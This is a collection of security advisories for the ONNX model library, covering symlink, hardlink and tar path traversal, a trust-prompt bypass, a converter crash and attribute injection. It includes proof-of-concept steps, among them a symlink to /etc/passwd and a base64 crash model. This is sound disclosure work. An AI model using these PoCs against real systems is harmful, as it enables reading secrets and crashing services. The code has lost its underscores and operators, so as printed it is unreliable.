Summary The issue is in onnx.load — the code checks for symlinks to prevent path traversal, but completely misses hardlinks, which is the problem, since a hardlink looks exactly like a regular file on the filesystem.
The Real Problem The validator in onnx/checker.cc only calls issymlink() and never checks the inode or stnlink, so a hardlink walks right through every security check without any issues.
Impact Especially dangerous in AI supply chain scenarios like HuggingFace — a single malicious model is enough to silently steal secrets from the victim's machine without them noticing anything.
Summary
A security control bypass exists in onnx.hub.load() due to improper logic in the repository trust verification mechanism. While the function is designed to warn users when loading models from non-official sources, the use of the silent=True parameter completely suppresses all security warnings and confirmation prompts. The Technical Flaw The vulnerability is located in onnx/hub.py. The security gate uses a short-circuit evaluation that prioritizes the "silent" preference over the trust requirement: Python if not verifyreporef(repo) and not silent: # This block (Warning + User Input) is SKIPPED if silent=True print("The model repo... is not trusted") if input().lower() != "y": return None Key Points of Failure: Complete Suppression: If a developer or a third-party library sets silent=True, the application will download and execute models from any attacker-controlled GitHub repository without notifying the user. Integrity Verification Bypass: The SHA256 integrity check validates the model against a manifest file. Since the attacker controls the repository, they also control the manifest, allowing them to provide a "valid" hash for a malicious model. Impact This vulnerability transforms a standard model-loading function into a vector for Zero-Interaction Supply-Chain Attacks. When chained with file-system vulnerabilities , an attacker can silently exfiltrate sensitive files ( SSH keys, cloud credentials) from the victim's machine the moment the model is loaded.
Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::isregularfile performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
PoC
python Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpyhelper
def createonnxmodel(outputpath="model.onnx"): weightmatrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.maketensorvalueinfo("X", TensorProto.FLOAT, [1, 1000]) Y = helper.maketensorvalueinfo("Y", TensorProto.FLOAT, [1, 1000]) W = numpyhelper.fromarray(weightmatrix, name="W")
matmulnode = helper.makenode("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.makegraph( nodes=[matmulnode], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] )
model = helper.makemodel(graph, opsetimports=[helper.makeopsetid("", 11)]) onnx.checker.checkmodel(model)
datafile = outputpath.replace('.onnx', '.data')
if os.path.exists(outputpath): os.remove(outputpath) if os.path.exists(datafile): os.remove(datafile)
onnx.savemodel( model, outputpath, saveasexternaldata=True, alltensorstoonefile=True, location=os.path.basename(datafile), sizethreshold=1024 1024 )
if name == "main": createonnxmodel("model.onnx")
1. Run the above code to generate a sample model with external data. 2. Remove model.data 3. Run ln -s /etc/passwd model.data 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded
python import onnx from onnx.externaldatahelper import loadexternaldataformodel
def loadonnxmodelbasic(modelpath="model.onnx"): model = onnx.load(modelpath) return model
def loadonnxmodelexplicit(modelpath="model.onnx"): model = onnx.load(modelpath, loadexternaldata=False) loadexternaldataformodel(model, ".") return model
if name == "main": model = loadonnxmodelbasic("model.onnx")
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
Sample patch
c #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h>
int openexternalfilenosymlink(const char basedir, const char relativepath) { int dirfd = -1; int fd = -1; struct stat st;
// Open base directory dirfd = open(basedir, ORDONLY | ODIRECTORY); if (dirfd < 0) { return -1; }
// Open the target relative to basedir // ONOFOLLOW => fail if final path component is a symlink fd = openat(dirfd, relativepath, ORDONLY | ONOFOLLOW); close(dirfd);
if (fd < 0) { // ELOOP is the typical error if a symlink is encountered return -1; }
// Inspect the opened file if (fstat(fd, &st) != 0) { close(fd); return -1; }
// Enforce "regular file only" if (!SISREG(st.stmode)) { close(fd); errno = EINVAL; return -1; }
// fd is now: // - not a symlink // - not a directory // - not a device / FIFO / socket // - race-safe return fd; }
Resources
https://cwe.mitre.org/data/definitions/61.html https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
Summary
Null pointer dereference (SIGSEGV) in Upsample67::adaptupsample67() (onnx/versionconverter/adapters/upsample67.h:31) when convertversion() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.
This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.
Details
The Upsample 6→7 adapter validates attributes but not inputs: cpp // upsample67.h:20-33 void adaptupsample67(..., Node node) const { ONNXASSERTM( node->hasAttribute(widthscalesymbol) && node->hasAttribute(heightscalesymbol), "...") // Attribute check PASSES
auto widthscale = node->f(widthscalesymbol); auto heightscale = node->f(heightscalesymbol);
auto inputshape = node->inputs()[0]->sizes(); // ^^^^^^^^^^^^^^^^^^^^ // OOB when inputs().size() == 0 → SIGSEGV }
The PoC has an Upsample node at opset 6 with the required widthscale and heightscale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef: - Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV - Debug builds: assert(Index < Length) at arrayref.h:159 → SIGABRT
An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.
PoC python import base64 import onnx from onnx import versionconverter
pocb64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="
model = onnx.loadfromstring(base64.b64decode(pocb64))
CRASHES — Upsample67 adapter dereferences empty inputs array versionconverter.convertversion(model, 7) # SIGSEGV
107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).
Impact
Any application that uses onnx.versionconverter.convertversion() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).
This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast98, softmax1213, softmax1312, upsample67, upsample910, groupnormalization2021, broadcastforwardcompatibility, upsample98) and all have been fixed in PR #7813.
A vulnerability in the downloadmodelwithtestdata function of the onnx/onnx framework, version 1.16.0, allows for arbitrary file overwrite due to inadequate prevention of path traversal attacks in malicious tar files. This vulnerability enables attackers to overwrite any file on the system, potentially leading to remote code execution, deletion of system, personal, or application files, thus impacting the integrity and availability of the system. The issue arises from the function's handling of tar file extraction without performing security checks on the paths within the tar file, as demonstrated by the ability to overwrite the /home/kali/.ssh/authorizedkeys file by specifying an absolute path in the malicious tar file.
Versions of the package onnx before and including 1.15.0 are vulnerable to Directory Traversal as the externaldata field of the tensor proto can have a path to the file which is outside the model current directory or user-provided directory. The vulnerability occurs as a bypass for the patch added for CVE-2022-25882.
Versions of the package onnx before and including 1.15.0 are vulnerable to Out-of-bounds Read as the ONNXASSERT and ONNXASSERTM functions have an off by one string copy.
Path Traversal vulnerability in onnx.externaldatahelper.saveexternaldata in ONNX 1.17.0 allows attackers to overwrite arbitrary files by supplying crafted externaldata.location paths containing traversal sequences, bypassing intended directory restrictions.
Summary The ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. The problem? It didn’t check if the "keys" in the file were valid. Because it blindly trusted the file, an attacker could craft a malicious model that overwrites internal object properties.
Why its Dangerous Instant Crash DoS: An attacker can set the length property to a massive number like 9 petabytes. When the system tries to load the model, it attempts to allocate all that RAM at once, causing the server to crash or freeze Out of Memory.
Access Bypass: By setting a negative offset -1, an attacker can trick the system into reading parts of a file it wasn't supposed to touch.
Object Corruption: Attackers can even inject "dunder" attributes like class to change the object's type entirely, which could lead to more complex exploits.
Fixed: https://github.com/onnx/onnx/pull/7751 object state corruption and DoS via ExternalDataInfo attribute injection
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.